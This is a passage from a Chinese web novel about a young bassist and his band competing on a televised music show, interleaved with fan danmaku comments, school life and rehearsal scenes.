【最烦楼上这种看个营销号就以为自己特别懂的正义路人了,谁实力强谁有话语权,这是比赛,又不是好好先生选拔赛,再说你怎么就确信人家不是被剪辑坑了?】 【咱们的小理中客来了~】 【承风狗腿子又急。】 【嗯嗯洗白视频多看点。】 【我发现黑子都挺典,说话一股臭味[捏鼻子]】 【能不能别总提那两个乐队了,烦死了,请支持南塔公园,世界上最好的乐队呜呜……】 几天前,被《乐队象限》占领首页的视频平台共同推送了有关承风乐队的系列专栏视频。 由一个乱码用户上传。 标题很简单。 【承风的真面目】 一般而言,字越少事越大,大多数人秉持着看热闹的激动心情点开视频,准备迎接新一轮爆料,这年头,节目没播,选手人先塌房的案例数不胜数,某些网友已经准备好总结视频内容搬运到其他平台进一步讨论了。 可视频内容很简单,没有惊天动地的黑料,也没有对承风出镜片段断章取义的解读。 这系列视频称得上温馨,将承风挤在小小的地下室排练和登台演出的视频记录都以时间线串联剪辑,技巧不算复杂,也没有抒情的文字旁白,只是客观地向大众展示承风曾经的模样,不同于先导片中展现的冷漠,他们是真实且鲜活的。 每一个视频的最后都定格在贝斯手向镜头看来招手的时刻,别样的柔软。 也终于有人因为这朴实无华的视频里扭转想法。 但也有人认为这只是一种炒作手段,是洗白方式,毕竟第二赛段时观众投票就要占据一半分数,而做票是要被送进去的。 后者坚持这个乱码用户空荡荡的主页信息和宁海市属地IP就说明了一切。 在“万众瞩目”中,首演直播开始。 【开场不错啊,烛子龙宝刀未老一嗓子给我唱得起鸡皮疙瘩了。】 【十二支乐队伴奏,这有多爽我都不敢想!】 【梁晟杰可是大制作人,上节目还给作词作曲,真给节目组赚到了。】 【期待雷暴云】 【声音调大了,隔壁老头过来敲门骂我[哭哭]】 【每次看Punch演出都觉得他们是来砸东西的,特别怕琴被他们弹裂了,鼓手的肌肉骇死我了……】 【番茄这次下手笔了,舞台终于不是抠搜的一丁点儿大,舞美灯光都不错。】 【听说先导片之后追了好几笔投资,你听主持人报赞助就知道了,这回真不差钱。】 【跳窗户这回终于穿得像个人样了,上次音乐节穿一堆破布上来险些被人拽走光。】 【期待雷暴云】 【牧羊犬宝宝呜呜,今天主唱还编了辫子,真可爱。】 【第一次看乐队节目,台上长头发的都是男的女的?】 【期待雷暴云】 【雷暴云粉丝是水军吗,来来回回刷,烦不烦?】 【呵呵,期待雷暴云暴打承风行了吧?】 【期待承风。】 【第一个节目开始了,别吵了!】 不出所料,第一个登台的是Punch。 乐手魁梧的身形一上台就将观众目光牢牢吸引住,Punch是老牌乐队了,成员平均年龄超过三十,台风相当稳健,实力强劲,只是风格相对小众属于老乐迷心中的定海神针但始终缺少打开知名度的舞台。 能让Punch作为首支登台的乐队,可见节目组不是全无良心。 舞台上肌肉贲张,曲风很硬、很燥,观众的尖叫声冲破棚顶。 承风排在后面,没在后台等,通过候场厅的转播屏幕观看表演。 纪羽今天有考试,全市排名,他答应李玄不会影响学习,提前交了卷才赶到。 他坐下,尚未平复呼吸,那颗因紧张而急促跳动的心脏,在Punch的音乐达到高潮时近乎停拍。 而后是更加响亮的心跳回荡在耳边。 “放松。” 后背被轻拍,纪羽回神发现自己不知不觉站了起来,Punch也已经下台,贝旬拆开包装:“三明治,贺思钧给的,你没吃晚饭?” 贺思钧和他一块儿来了,但作为助理不能进入场内,只能在一旁看着。 纪羽压抑着内心的激动,不想表现得像个没见过世面的小孩:“从学校过来太赶了,我到外面吃。” 贝旬应了,看着贺思钧从角落绕开摄制组跟出去。 老麦和辽光还在化妆,纪羽不露脸用不着化,只简单抓了抓头发,等待区承风就贝旬一个人在,不知道后期会不会把他们剪得目中无人、不尊重前辈,加深恶霸人设。 不过他们和Punch的关系还挺好的,前两天Punch的鼓手李良还帮纪羽把划破口子的羽绒服重新缝上。 辽光在一边大叫这是出轨,人家都没揍他。 一出去,Punch正好回来,纪羽迎上去:“效果特别好,转播声音也很清晰,层次很干净!” Punch不担心现场舞台效果,最怕转播收录不清,影响观感,听纪羽一说就放心了,李良摸了摸纪羽脑袋:“现在等你们上场了。” 纪羽笑一下,虽然看不清下半张脸,但眼睛线条变得柔和,眼珠黑白分明,是最适合传情的眉眼,准备拍摄Punch退场反应的跟拍摄影默默将镜头对准他。 他有预感,只要能保下这个镜头,承风的风评能好转一半。 第86章 纪羽摸到块没光的角落坐下吃晚饭, 贺思钧闻着味跟过来:“晚上的药有没有吃?” 纪羽最近腿疼,医生给调整了药量,纪羽忙起来就忘到底吃多少、吃没吃。 今天当然也理所当然地没吃。 贺思钧感受到纪羽的沉默:“我去拿药, 你在这等我。” 纪羽把他塞来的外套垫屁股底下,含糊应了一声。 听到有人的脚步声过来, 纪羽背过身躲视线。 “纪羽。” 在这里,会叫他这个名字的只有两个人。 纪羽头也没回。 莫满笑眯眯地蹲到他身前:“还好吗,我听说节目播出后网上对承风的评价不太好。” 纪羽不看他, 认认真真地啃他的三明治。 “唉, 其实我没打算带上梁子尧的,不过他就是这样的人, 从小到大, 我有的他也要有,我看上眼的他也要喜欢, 你说, 他是不是挺讨人厌的?” 纪羽挺想冷笑,但又觉得没必要, 就假装听不见, 眼神放空,嚼嚼嚼。 莫满倒像是发觉什么有趣的事, 自顾自笑了两声,身份揭穿后, 他和梁子尧在气质上的差异越来越大, 加上梁子尧在外型打扮上刻意做了区分, 很难再将两人错认。 莫满在纪羽对面靠墙坐下,饶有兴趣道:“只可惜今天不能一起演出,其实承风如果需要的话, 我还是很乐意换个乐队的……” 纪羽缓缓停下咀嚼。 “毕竟我和承风也很熟悉了不是吗?” 莫满的话语像阴冷潮湿的梅雨天,闷热湿滑地钻进耳蜗,叫纪羽响起他触摸过的鱼鳞,一时间胃口全失。 “如果你是来挑衅我,影响我的状态好输得没那么难看,那你是在做梦。” 纪羽扶着墙壁起身:“承风不需要买一送一的赝品。”- 时间一分一秒地过去,雷暴云先一步上台。 人都是感官动物,三观跟着五官走的事例数不胜数,虽然雷暴云自建队以来传闻不断又经历成员更迭的动荡,但全员外形条件属实不错,粉丝基础仍在,一亮相全场有相当一部分人爆发出热情的欢呼声。 雷暴云综合实力不差,但问题出在磨合上,有几小节梁子尧的吉他声尤其突出,尽管在短时间内能以这种实力上台可以称得上一句天赋异禀,但对于专业乐手来说仍欠缺得太多,如果其他人有意识地配合遮掩一下,呈现效果会更好。 辽光靠在椅背上,半点没顾及地抠耳朵:“吉他手下台睡觉吧,弹成这样,回去教小学生算了。” 贝旬:“嗯。” 纪羽:“嗯。” 辽光:“合着你们俩原来都能听到我说话,平时不回我是怎么的?” 纪羽拍一下他的大腿,向他们招呼的工作人员点头:“走吧去准备,这次别往观众席丢拨片了。” 后台没有灯光,来回穿梭的脚步声和耳麦的指令令人倍感熟悉。 台上评委团与蛋青乐队互动。 纪羽无暇去听,闭眼深呼吸。 “可以上台了。” 灯光暗下时,世界都变得安静。 舞台前后都一样的漆黑,节目组的指令声像从更遥远的地方传来。 “灯光准备。” 纪羽也准备。 他转过身,面向观众。 【上一队都快给我弹困了,爵士真有点无聊,容易腻。】 【我眼睛快撑不开了,听完这首我就睡了。】 【买定离手,这组是蛋青先走还是承风滚蛋?】 【雷暴云先滚吧,灾难成这样了还好意思让别人滚?】 【说真的,承风实力不差,但凡你们看过他们现场视频就知道了,别总看营销号……】 【实力好人品差有什么用,没观众缘就是没办法啊,不如早回家少挨骂,等风波过去了再出来捞钱呗,反正滚圈出了名的爱原谅。】 【……算了不管有没有人在意,我还是介绍一下吧,承风早期走融合爵士风格,这也是为什么会分在爵士组。别再问为什么只有四个人了,因为弹爵士人够了,这首自作曲我真的很喜欢,当时循环听了很久,但推广度不高,雷暴云个人感觉其实更偏流行,而承风对爱爵士人群很友好,希望以后也能再出几首爵士曲……】 【又在暗戳戳给承风抬咖……】 【别吵了别吵了别吵了,谁强谁有理,谁票数最高我支持谁!】 灯亮了。 无论网络上如何腥风血雨穷凶极恶,现实中大家还是愿意给点面子,纷纷举手鼓掌表示热情。 承风今天的打扮称得上优雅,衬衣配西装裤,脸上表情松弛,没有打招呼也没有笑意,有点节目中盛世凌人那味儿。 遮住脸的贝斯手先拨弦,指尖看似不费力地轻巧滑动,琴身盖住他半边腰胯,暖金色追光聚焦,细瘦的手指跨过修长的琴颈按揉,弦声嗡鸣。 【好色……】 【我终于懂为什么贝斯是乐队的灵魂了(五分钟没有贝斯手来加就删)。】 【到底谁在说我们小鸟不帅,这腰这手这胯,这比例不好看的概率明明是0[舔]】 【宝宝,好久没有看到你开场了……】 纪羽向贝旬轻飘飘抛去一眼,镜头随之切换,贝旬笑了一下,回应挑衅的绚丽琴声随之响起,不待弹幕反应,吉他迫不及待加入和弦。 【又急又急,辽光绝对要被瞪了!】 鼓声也跟上,律动节奏轻快,贝斯根音与底鼓共振,泛音交融,抒情而不深沉,别具一格的优雅。 直到主唱的哼声响起,众人才意识到他们听了整整两分钟的“前奏”。 【好想哭,明明才第三年,感觉承风已经成熟好多了,完全不用担心技巧……】 【这种玩世不恭的态度弹得我好爽[害羞],反派味就那么浓,可以再多蔑视我一点吗老公】 【太爽了太爽了太爽了,漫不经心的感觉太爽了,这个逼装得太对味了!】 【呵呵明知道他们在装,但还是很想夸帅,今晚就把排练视频给我放出来@承风WinG】 【好想把贝斯手口罩揭开来舔。】 【????】 网络上的讨论纪羽一概不知,他指尖新长出的茧厚厚一层,昨天把床单刮出了丝,今晚回去该修一修了,影响触感。 后背被灯光烤得温热,连带着心头发热。 他还有余暇瞥一眼辽光,想下一场他也要用拨片。 纪泽兰和徐梁在看他的演出吗?初赛录制时间太久不方便,到决赛可以让他们到台下来,得要两张坐中间的票,方便他们俩录视频。 这次承风会撑到决赛吗? 所有念头一闪而过,鼓声的震动从脚底向上蔓延,与贝斯声在胸膛低频共振,直到手指轻压,琴弦不再抖动,灯光大亮,掌声雷动。 强光直照着,纪羽眯着眼看到评委站立起身,辽光跑来架他的肩膀,想笑又顾忌人设硬憋着,表情扭曲。 “风铃”也都松了一口气,尽管知道打脸是早晚的,但也怕出什么差错,这下算是扬眉吐气,噼里啪啦地打字宣泄着。 【稳赢了,不过应该也就小组第一吧,咱们雷暴云可怎么办呀?】 【哎呀不是还有倒数第一嘛~】 【虽然咱们雷暴云搞乐队不行,营销还是可以的,这不热搜都上了吗~】 【哎呀,咱们雷暴云吉他手的名字是叫翻车吗~】 【真是错怪吉他手了,还以为蒙面是想模仿谁呢,原来只是弹成这样没脸见人啊~~】 【让你们一天到晚叫叫叫叫叫叫叫叫叫叫,这下好好好好好了吧!】 雷暴云粉丝也不甘示弱: 【鸟风有什么好得意的??失误不是很正常吗,果然有什么样的正主就有怎么样的粉丝,目中无人的队伍在哪儿都走不远[吐]】 【我觉得还是雷暴雨的曲更入耳一点,承风和蛋青给我的感觉差不多吧,有点无聊。】 【雷暴云刚重组吧?缺少磨合而已,已经很不错了,上限很高。】 【我不懂音乐,但舞台效果还是雷暴云更炸一点,我听得心脏怦怦跳特别激动,都说欣赏音乐没有门槛,自我感觉还是雷暴云更胜一筹。】 双方吵作一团,舞台上正在宣布十二支乐队分别得票,四组内排名倒数的乐队将在今晚淘汰。 惊动人心的时刻,直播掐断了。 【更多精彩内容请期待周日十二点上线第一期正片哦~】 狗日的节目组。 “能不能要点脸?”辽光破口大骂。 承风一行人卸了妆,正坐在返程的二手商务车内。 纪羽本来都闭上眼睛了,被他冷不丁地吓醒,岔气呛咳起来。 咳了一会儿忍住了,纪羽拂开贺思钧拍背的手,问道:“你刚才在演播厅咋不说。” “演播厅那么多人,我又不傻,那不真成靶子了吗。” 辽光喋喋不休:“太阴了,打死我都想不到还有行业观察团这出阴招,硬生生把分拉平了,还说什么考虑到形象问题,什么形象问题,老子长得不帅吗?” 贝旬悠悠开口:“我们是反面角色,他们是宗门大弟子,有什么好比的。” 曲坚:“这是逼我们一条道走到黑啊。” 老麦:“他妈的。” 纪羽:“别说脏话。” 贺思钧应和:“嗯。” 辽光气不过:“要不是底下还有观众,贺思钧你就应该上台咱们和雷暴云一对一打一架,那表情真是欠的,那谁,就那马还朝我笑,老子起一身鸡皮疙瘩。” 贺思钧淡淡地看他一眼,虽然什么都没说,但辽光自觉受到了蔑视。 他咋了?他难道不比纪羽高一点壮一点吗? “你什么意思,看不起我,来来来,我和你打一架先。” “不打。” “来啊!” 辽光气过了头,扰得一车人不得安宁,纪羽困得发懵,对着贺思钧耳语。 辽光靠过来:“你们俩说啥悄悄话呢?” 贺思钧和纪羽不理他,他贴得更近。 “啊!”辽光捂着脑门蜷缩回去。 纪羽、贺思钧收回手:“安静!” 看不清星光的夜里,车灯远去,落成小小的光点。 第87章 3月, 气温彻底回暖,草长莺飞之际,一中郑重迎来百日誓师大会。 一翻慷慨陈词后, 各班登上大巴。 宁海市靠海,但也有山, 不高,步行半小时就能登顶,站在山头能俯瞰宁海西侧滨海风光, 远眺时波光荡漾, 海天一色。 山顶有座庙,据说很灵验, 但也没谁真的论证过。 纪羽走走停停, 落在最后面,贺思钧要背他, 他没让, 那么多人,他也要面子。 展舒文和柳承也被他赶到前面去, 贺思钧赶不走。 等到了山顶, 已经是一个多小时以后的事,大部队离开, 庙里没什么人。 白天庙里不亮灯,塑像高大, 头脸隐没在暗中, 眼珠一点黑注视来人, 无悲无喜。 “你小时候很怕这个,有一次来吓哭了。”贺思钧说。 纪羽打他肩膀:“什么叫‘这个’,一点都不尊重。” 纪羽不信这个, 但也满怀敬畏。 说到底,心里还是怕的。 跪蒲团,上了香,贺思钧问纪羽:“你许了什么愿?” “这是许给神仙听的,怎么能告诉你?” 拍着膝盖起身,纪羽又说:“每次我都把我的愿望告诉你,你倒好,从小就没愿望可许。” “有的。” 纪羽讶然扭头看向贺思钧:“什么?” “我许了愿,每一次。” 老庙挺立山顶数十年,褪色的庙门吱嘎作响。 纪羽在燃烧的烛火中试探问道:“你不会是许了希望我的愿望都能实现的那种愿望吧?” 贺思钧看着他,神情不带任何羞赧:“嗯。” “无聊。”纪羽抛下一句,从庙里出来,山顶的风一刮,他有点后悔地想:早知道是这样,这次他也该许愿的。 这下,浪费了两个愿望- 只要不上课,干什么都行。 在山上老师还看顾得紧,下了山,一大帮人彻底放飞,走在路上吵吵嚷嚷,好在休息地在一片无人的草坡,可以随这群人四处游走。 或许是高考前最后的放纵,在学校里的顾忌与约束都暂时被丢开。 老师也笑眯眯地和掏出手机的学生合影。 这口子一开就停不了,十七班一块儿照了相后,不少外班的跑来问纪羽:“我能和你拍张照片吗?” 后来,不用纪羽动弹,一个拍完下一个接着上,来人还要拜托贺思钧:“镜头边缘抵着脚尖,别太低也别太高了。” 贺思钧面无表情地摁下快门。 事后拿到照片的同学都很满意,纪羽头小脸小腿也拍得老长,就是有一点不好,人物没有居中对称,他们在纪羽边上简直像误入的路人嘛。 果然还是不能相信直男拍照。 不过纪羽和贺思钧似乎打过一架后又和好了,真是可喜可贺呀。 为了合照,顾英杰和潘玥还吵了一架。顾英杰举手机招呼纪羽:“兄弟看镜头!” 另一边潘玥拉着纪羽臂弯:“纪羽,看我闺蜜相机。” 谁也不让谁。 照片里只好留下三个人共同的合影。 柳承终于挤到纪羽身边:“他们俩越来越分裂了……” 展舒文则道:“他们要复合了。” 这天过后,日子就像没了盼头般,天昏地暗日月无光。 度日如年。 班里弥漫着死气沉沉的氛围。 纪羽是其中难得精神面貌还算良好的一员。 晚上徐梁接他去录制时说:“别有压力啊,上节目尽力就好,别把自己逼得太紧,我和你妈妈就希望你以后能舒舒服服地过日子。” 纪羽脑子冷不丁冒出一句隔壁班班主任常说的一句话:舒服的日子是给死人过的。 徐梁不知道纪羽都记住了什么乱七八糟的话,把人送下车,他还问:“真不能让爸爸在边上陪你?” “不是都在家里说好了嘛,不可以!”纪羽严肃否决,“我又不是小孩了,被别人知道录节目还要家长陪我还要不要见人了?” 徐梁:“你确实还小嘛……” 徐梁忧心忡忡,他虽然五十来岁,但不是什么老古董,上网看到对小宝的评论心里拧着痛,好不容易摸索着加入粉丝群,又听他们讲节目组对承风不好,更是着急。 “要不然爸爸也投资一下怎么样?” “别!”纪羽忙打消徐梁的念头,他们家是有钱,但还远不到能随随便便拿出一笔天价投资与自家生意完全不相干的音乐节目,“你和妈妈都放心啦,我们有剧本的,你知道演戏还讲究套路吧?我们现在呢,就是在演,你就看吧,到后边剧情就不一样了,我们最后还得拿冠军呢!” 纪羽讲得认真,徐梁也只好揉揉他的脑袋,让他自己下车:“行,我们都听你的,但有事一定要跟我们说知道吗?” 纪羽鼻子有点酸,不敢回头,说了句知道就推门进去。 承风的房间分在雷暴云隔壁,对门是他们这一赛程的合作乐队南塔公园。 这时两支乐队都在通用的排练厅里席地而坐,南塔公园的鼓手脸上盖着帽子已睡熟了。 南塔公园属于以流行乐为主的乐队,主唱的一把好嗓子为他们打开了下沉市场的知名度,奶茶店的歌单里必定也有南塔公园的原创曲目《周一见》。 第二赛程,四组共八支乐队跨风格两两合作,共同改编一首经典曲目并演出,除此以外,双方仍需单独展示一首全新原创作品。 南塔公园与承风选择的经典曲目是一首脍炙人口的老情歌。 改编难度极大,在风格决议上就出现了分歧。 要保留原曲的绵延缠绵感就必须在编曲时留白,但问题也随之而来,做的改动少,改编的差别几乎听不出来,可下狠手,就会破坏原曲最具吸引力的部分。 改编一首经典曲目完全是吃力不讨好的行为,它能传唱多年,经过了两代人的检验,要突破的就不只是技术上的难题还有听众心中高悬的标准。 承风倾向延伸和弦、转调模进,南塔公园则觉得太“绕”,没必要大幅度修改副歌高潮片段。 双方互相商讨了几天才敲定方案,各自的原创舞台进程缓慢。 昨晚《乐队象限》第二期上线,承风靠着舞台挽回的风评又一次岌岌可危。 【看个预告真的要把我气死了……】 【真不知道承风有什么可忙的,个个迟到,南塔公园天天都等他们。】 【也不红,倒是爱装。】 【听在番茄工作的朋友说承风贝斯手没一次在白天出现过,回回最晚来,也就键盘手好点基本上全勤。】 【以为上次和雷暴云打平很牛了?一点都不懂尊重人,观察团一点没说错,不讨喜就是不讨喜,雷暴云好好地对他们笑,他们有回一个好脸色吗?】 【雷暴云就是输在没磨合好,多聚在一起再练一练会更好。】 【雷暴云那个吉他手去掉也行吧,不懂干嘛签进来,而且这几天他都没人影也没人说,为什么对承风那么双标啊?】 【一个个都把承风当什么臆想敌,人家说不定是在上班呢,毕竟没演出没名气,打点零工养活自己这样啦~要是真认真起来,Punch都能轻轻松松灭掉啦~】 【原来是友军,刀差点收不住!】 【南塔公园脾气太好了,要我第一天没谈拢就掀桌子了,论作曲编曲能力,承风真没什么好争的,上一期舞台我看了,原版本我也找到对比过,即兴的成分偏多,只能说明他们现场演奏能力是强的,但编曲这事还是交给给专业的去做吧?】 【我服了你们真的懂乐队吗,我第一次听到有人用这种口气评价一个乐队的即兴。[汗]】 【OK,我算是看明白了,反正你们意思就是承认承风很强但是又要用各个角度踩他们,呵呵,明摆着就是节目内外都在引导风气,要是承风真没脾气我还不乐意看了呢,这才第二期,我等着看你们被打脸。】 “啧,你们被骂够狠的啊。”南塔公园主唱刘平平是个好相与的,见人就笑,见纪羽来了放下平板起身招呼他过来坐下,“吃了吗?” 纪羽脾气遇强则强,遇弱则弱,对上刘平平就显得很温顺:“吃了,你们吃了吗?” 刘平平:“叫了外卖,披萨,你再吃点不,把孙胖子的让给你。” 鼓手孙胖子哼哧两声,拿开帽子:“你咋不让你自己的?” 吉他手伸腿蹬他一脚:“你他爹的上节目都胖十斤了,少吃点。” 孙胖子手平举起身,没起来,纪羽拉了他一把。 孙胖子:“谢了。” 吉他手:“恭喜你,本次仰卧起坐成绩为0。” 纪羽觉着:南塔公园吉他手嘴挺像辽光,贱兮兮的,又带点贝旬的毒舌,是两者的结合体。大概是同类相斥,辽光对他和南塔公园玩得好不太乐意,话都少了。 这边吉他手才起话头说到第二期节目的事,辽光就过来把纪羽拉走了。 “和他们说这个干什么,你知道他们现在叫什么吗?” 纪羽:“叫什么?” “平常挺聪明,这时候怎么就不知道、不知道了,”辽光恨铁不成钢,“这叫既得利益者!咱们挨骂也不碍着他们得好,网上还夸他们菩萨心肠呢,衬得我们多坏似的,你不觉得气人?” 纪羽:“那你待会不吃披萨了?” “……吃!”辽光争辩,“和关系好不是一回事满三百能凑满减,你要是想吃我单独再给你点,点十份!你用不着吃别人的。” 纪羽听明白了。 贝旬路过:“你是小孩吗还吃醋?” “你们真是!”辽光气得咬牙,怎么都没人懂他的良苦用心,纪羽今天和Punch的鼓手勾肩搭背,明天和南塔公园嘻嘻哈哈,人心浮动,这个家还要不要好了? 辽光叹气。 肩膀一重,纪羽搭着他:“放心吧,我不是那种喜新厌旧的贝斯手,我还是爱承风的。” “真的?那你最爱的乐手是……?” “那当然是老麦了。” 辽光发出怒吼:“凭什么还是他!” 第88章 “千万不能受对面蛊惑, 咱们好不容易谈下来的solo,就算他们反悔也不能改,听到没?” 饭后辽光依旧絮絮叨叨, 纪羽向刚进门的贺思钧招手:“我的耳塞呢。” 辽光立即:“行了我不说了好吧。” “阿雀过来合练!”老麦招呼一声。 “来了!”纪羽噌地起身就走,独留辽光咬手帕。 “节奏组了不起啊……贝旬, 咱们一起——” “自己排自己的。” 各自分过声部后乐手大多自己练习,贝斯和鼓作为歌曲律动框架的敲定组,会花大时间磨合。 除了性格契合这个因素外, 纪羽还有点雏鸟情结, 老麦带着他进入乐队,手把手教他怎么踩鼓点节奏。因此老麦对他来说是不同的, 他在队里也只听老麦的话。 谁陪着他久, 谁来得早,谁就在纪羽心里占据更多位置。 起阿雀这个名字, 也有老麦一半的因素在。 纵然那边远的山村已经随记忆模糊, 纪羽仍然能想起晾在晒谷场满地金黄的麦子,还有蹦跳着挑挑拣拣啄食的麻雀。 鬼使神差地, 他对老麦说:你可以叫我阿雀, 有羽毛的那个雀。 这一沿用,就到了现在。 老麦起初自己真捡到了什么刚出窝的小鸟小雀, 对他很是照顾,纪羽想要是当时告诉老麦他还在读书, 上的还是一中, 只怕老麦早就把他踢出乐队了。 在老麦心里, 还在上学念书的是孩子,能自己出来赚钱生活的,就得当个男人看了。 不过老麦不给他分烟, 就问过贺思钧抽不抽,贺思钧说不抽,老麦也不硬塞,说没瘾好,没瘾省钱。 或许是最近在上节目,老麦烟抽得少了,纪羽靠近他都闻不到多少烟草味。 纪羽抽抽鼻子:“今天不臭。” 老麦作势用鼓槌敲他屁股:“就你鼻子灵,男人抽烟多正常的事儿,你爸不抽烟?” “不抽,”纪羽挺了挺胸脯,“他身上沾了烟味我妈得骂他,你也少抽点吧,还能省点钱。” 老麦:“老子又不是你爸。” 纪羽:“你这年纪也快做爹了。” 老麦:“啧。” 孙胖子在边上喊:“你们俩嘀嘀咕咕说啥呢,在咱们这个大家庭里搞小团体?” 纪羽背着手:“我跟我义父说两句话,家事。” 孙胖子:“哎呦,那我告退了。” 脑袋上挨了一下,纪羽委屈巴巴回头:“干嘛打我。” 老麦动手完又后悔,大掌盖着纪羽脑袋揉了揉:“别瞎叫。” 纪羽气性上来,甩开头:“君子动口不动手。” 老麦:“别整文绉绉那出。” 见纪羽精神头不错,他又叮嘱纪羽:“辽光心态不好,别管他叨叨,咱们把舞台搞好,其他用不着多想,曲坚会看着办。” 纪羽扫一眼垂头扒拉谱子的辽光:“行,我知道了。” 南塔公园贝斯手招他过去的手都快摇断了。“那我先和张鹤调一下。”末了纪羽还不忘补一嘴,“麦叔等我啊。” 老麦又要揍他屁股,纪羽腰一拧闪身跑开,男人抬眼对上贺思钧沉然的目光,心想,还是这小子更像他爹吧? 说几句话就盯着,两三年了还这样,他能是什么拐卖孩子的坏叔叔吗? 留到第二赛段的乐队无一不是吹拉弹唱样样精通,不说乐手个个能作词作曲,至少每个乐队都有能创作的一个两个在,但上节目,总不至于真实诚地一一接下节目组的阴招。 在一周内又要和其他乐队磨合改编曲目,又要从头开始创作一首新曲,除非外包制作人团队,不然能在节目上折腾到去了半条命 来来回回磨了两个小时,孙胖子出了一头汗,毛巾搭在脑袋上喘粗气,眼热地看着纪羽捧起水杯豪饮,由着贺思钧给他热敷、按手臂肩膀。 这助理真贴心,市场价不得七八千一个月啊? 孙胖子指了指镜头:“不怕录进去啊?” 日常相处着,纪羽当然不像舞台上表现得那么目中无人,虽然有时是有点骄矜的劲儿,但他年纪轻,眼睛眨巴眨巴就背着镜头卖乖,真不招人烦,难怪Punch时常过来串门逗乐子。 僵硬的肌肉被按开,纪羽舒服得快躺倒,半个身子不自觉倚在贺思钧肩上,语速慢悠悠:“反正都已经这样了。” 别人是债多不压身,他是风言风语多了也不在乎了。不过顾虑到纪泽兰和徐梁也会看节目,贺思钧说剪辑那边他会让曲坚去提,把他出镜内容剪掉。 上一期节目里果然没出现贺思钧的身影。 纪羽歇过劲来,又有力气想东想西了,恍惚间觉得贺思钧在和他进行什么地下情,这不他们俩还贴在一块儿,于是忙撑起身扒拉开贺思钧:“好了。” 贺思钧也不多话,收拾东西就退开。 刘平平坐下:“你们自己的舞台怎么样了?” 纪羽还在懊恼自己一时的失神:“和你们一样。” 刘平平嘿一声:“还学会打哑谜了,行吧,咱就直说了,我们有几首未发布的可以用。” 纪羽含糊:“我们也差不多。” 不做准备上节目,等于赤手空拳上战场,节目规则不做限制,就说明这是可行的。 辛辛苦苦打磨过的作品,总该见见天光,发挥最大价值。 刘胖子不藏话:“我们已经定了一首了,当初这首一写出来就被毙了,太小众,没传唱度,音乐节唱不了,小场也没机会唱,啧,这回说什么也得把它唱了,天天说我们没创作概念,唱样板歌。” 纪羽发自内心:“我们也差不多……风格不太一样。” “你们不会整了什么老爵士调吧,改明儿你背着萨克斯上台?哈哈哈哈哈哈……” 辽光急匆匆奔来:“南塔!又在套我们贝斯手话!” 纪羽翻了个白眼, 承风要表演的原创曲,是他第一首独立作曲编曲的成品。 虽然承风内部一致通过觉得没问题,纪羽内心仍然保留着忐忑。 他的作品真的成熟吗? 可以登上舞台和其他七支乐队竞技吗? 纪律时常会夸他太天真。纪律每天在和国内外的组织、机构打交道,眼界比纪羽要大得多了,所以纪律说他做得还不够,不是贬低,而是事实,纪羽长久地相信这个事实。 直到纪律在他眼中的威严一层层剥落,他才发现纪律也只是被光环加身的普通人,心肠狭隘、言语粗俗、口无遮拦。 他大概比纪律对他的评价要优秀一半,纪羽想,说不定他也是个什么音乐天才呢?毕竟他才听说莫满学贝斯已经有将近十年了,他比他少了四年的练习,却是莫满在模仿他的习惯、技艺。 难道不说明莫满的音乐水平没他高吗? 虽然存在一定程度的自我安慰,但纪羽重拾了信心,越发期待本周的登台。 日子在盼望中飞逝,周六晚六点,观众排队入场,人数较首演拓展了近一倍。 节目组不限制应援,各乐队粉丝纷纷扛起灯牌,挥着旗帜,有甚者甚至在二层看台拉了横幅。 按灯牌颜色划分支持雷暴云和南塔公园居多,其次为牧羊犬,承风的受众不知是坐得分散了还是压根没来多少人,零星只看见几个蓝点。 后台南塔公园在和承风讨论。 “这场面,你说节目组是不是把我们当选秀练习生整了,到时候不会还把咱拆开挑出几个成团吧?” “那不能,你长得有人家好看吗,别人被喊老公老公,你顶多是老叔叔。” “有你这么说话的吗,辽光,你就嫉妒我上班有人喊我胖宝宝。” “孙胖子,你自己说这话不觉得恶心吗?” 自动忽视后方两人拌嘴,纪羽听刘平平问:“紧张吗,第一个上场?” 纪羽将衣服整理平整,指节叩两下琴身:“还行,就一点点。” 老麦交叉摩擦鼓槌:“准备好,把南塔公园的风头给盖下去。” 刘平平:“嚯。” “都过来了!” 在镜头前喊过口号,纪羽跨上台,看见黑暗中浮起蓝色的光晕,从远到近逐渐亮起。 南塔公园的代表色是绿色,倒也相称。 像溪水映着蓝天又映着草叶,风吹过,露水从草尖滚落,溅起层层涟漪。 《你可知我的心》原曲将缠绵悱恻做到了极致,随着歌曲推进可以听到节奏由最初的平缓叙说到激烈的述说,最终又落回极尽隐忍的告白。 经改编后,在前奏中加入了更轻快的律动,却不显得过满,在主唱声音响起时,反倒令听众有种小心翼翼的甜蜜羞怯感。 间奏时却一改丰富的和弦,仅仅由键盘独奏,逐渐引入鼓点,众乐器逐一加入,将情绪退进到极致。 纪羽面前也立着话筒,却不见他靠近,直到歌曲进入副歌最高潮,他才侧身微低头加入和声。 他声音轻似呢喃,带着少年独有的清脆质感,并不高昂,足以与主唱的声音分别开,随着鼓点越发紧凑,他的声线也渐渐柔软,直到节奏回落,他的尾音也消散于乐声中。 追光远去,纪羽腾手上扯口罩,随即轻拍琴弦,琴弦撞向指板轻震,前排的观众发出短促的尖叫。 纪羽对上她的眼睛,目光灼灼,他有点不好意思地停下身体随节奏的晃动,朝她笑了一下,移腕换把移开了目光。 她又叫了一声。 第89章 “稳了稳了。” “快点儿!换衣服去!” “下一组上。” 承风下台, 雷暴云上台,两者擦肩而过。 都是男人,换衣服也没顾忌, 孙胖子晃荡一肚子肥肉,慢悠悠系衬衣扣子。 贝旬眼一偏, 悠悠道:“小了别硬塞。” “啧。”孙胖子吸气,肚子半点没小,“节目组安排的什么衣服, 就没几件宽松的。” 这边纪羽从隔间掀了帘子出来, 将换下的衣服随手抛给贺思钧。 “衣服有点大。” 纪羽手掌被袖子盖住一截,衣服下摆盖住屁股, 腰间系了长丝巾, 从衣摆里垂下一条飘逸的尾巴,下面是直筒的破洞裤。 孙胖子看看他, 再一低头, 和即将崩开的纽扣打了声招呼。 刘平平路过顺便拍了一掌:“接下来就是1v1了啊,我们可不会手下留情的哦。” 纪羽和辽光异口同声:“用不着。” 他们有的是信心。 待四组合作乐队表演完毕后, 八支乐队便按抽签顺序上台, 每支乐队上台时长不得超过六分钟,中途两分钟时间为观众投票时间。 全部表演结束后, 统一公布合作舞台得票及独立舞台票数,合作舞台最高分两支乐队各积5分, 次之积3分, 第三名1分, 第四名不积分,独立舞台第一名积9分,第二名积7分, 依次递减,第五名可积1分。 除此外,行业观察团及评委席各有附加3分分值。 